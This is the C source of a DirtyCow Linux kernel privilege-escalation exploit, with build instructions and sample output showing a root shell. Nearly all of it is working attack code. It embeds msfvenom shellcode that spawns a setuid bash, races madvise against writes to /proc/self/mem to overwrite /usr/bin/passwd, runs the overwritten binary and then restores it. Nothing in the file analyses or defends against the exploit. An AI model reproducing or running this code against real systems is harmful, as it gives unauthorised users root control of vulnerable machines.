dirtycow.c

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't worry,/usr/bin/passwd has been restored.
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD="echo 0 > /proc/sys/vm/dirty_writeback_centisecs&&cp -f /tmp/bak /usr/bin/passwd&&/bin/bash" PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x5b, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e,
  0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76,
  0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74,
  0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73,
  0x65, 0x63, 0x73, 0x26, 0x26, 0x63, 0x70, 0x20, 0x2d, 0x66, 0x20, 0x2f,
  0x74, 0x6d, 0x70, 0x2f, 0x62, 0x61, 0x6b, 0x20, 0x2f, 0x75, 0x73, 0x72,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x26,
  0x26, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56,
  0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 258;


void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1005000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread2 stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1005000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread1 stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't worry,/usr/bin/passwd has been restored.\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}